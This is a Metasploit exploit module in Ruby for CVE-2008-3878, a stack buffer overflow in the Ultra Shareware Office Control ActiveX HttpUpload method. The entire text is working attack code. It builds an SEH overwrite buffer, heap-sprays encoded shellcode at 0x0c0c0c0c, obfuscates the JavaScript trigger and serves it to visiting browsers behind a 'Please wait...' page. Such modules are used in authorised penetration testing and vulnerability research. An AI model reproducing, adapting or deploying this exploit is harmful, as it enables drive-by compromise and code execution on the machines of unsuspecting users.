## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Ultra Shareware's Office Control. When processing the 'HttpUpload' method, the arguments are concatenated together to form a command line to run a bundled version of cURL. If the command fails to run, a stack-based buffer overflow occurs when building the error message. This is due to the use of sprintf() without proper bounds checking. NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload into memory unmodified. }, 'License' => MSF_LICENSE, 'Author' => [ 'shinnai', 'jduck' ], 'References' => [ [ 'CVE', '2008-3878' ], [ 'OSVDB', '47866' ], [ 'BID', '30861' ], [ 'EDB', '6318' ] ], 'Payload' => { 'Space' => 4096, 'BadChars' => "\x00", # For HttpUpload args: "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # Tested with ActiveX v2.0.0.1020 and v2.0.2008.801 [ 'Windows Universal', { 'Ret' => 0x0c0c0c0c # heap sprayed # 0x746C15A9 # p/p/r in msls31.dll # EEK, Safe SEH! 0x220118c2 # p/p/r in OfficeCtrl.ocx } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 27 2008')) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # ActiveX parameters progid = "Ultra.OfficeControl" clsid = "00989888-BB72-4E31-A7C6-5F819C24D2F7" # Set parameters fnname = rand_text_alpha(8+rand(8)) arg1 = rand_text_alphanumeric(128) arg2 = rand_text_alphanumeric(4096) * 10 seh_offset = 252 # Build the exploit buffer sploit = rand_text_alphanumeric(seh_offset) sploit << generate_seh_record(target.ret) # Encode variables sploit = Rex::Text.to_hex(sploit, '%') shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Prepare the heap spray parameters spray_addr = target.ret spray_num = "0x%x" % spray_addr # Generate the final javascript js = %Q| function #{fnname}() { try { var obj = new ActiveXObject("#{progid}"); var my_unescape = unescape; var shellcode = '#{shellcode}'; #{js_heap_spray} sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000); var arg1 = my_unescape("#{arg1}"); var arg2 = my_unescape("#{arg2}"); var sploit = my_unescape("#{sploit}"); obj.HttpUpload(arg1, arg2, sploit); } catch( e ) { window.location = 'about:blank' ; } } | # Obfuscate the javascript opts = { 'Strings' => true, 'Symbols' => { 'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.obfuscate() # Build the final HTML content = %Q| Please wait... | print_status("Sending #{self.name}") send_response_html(cli, content) handler(cli) end end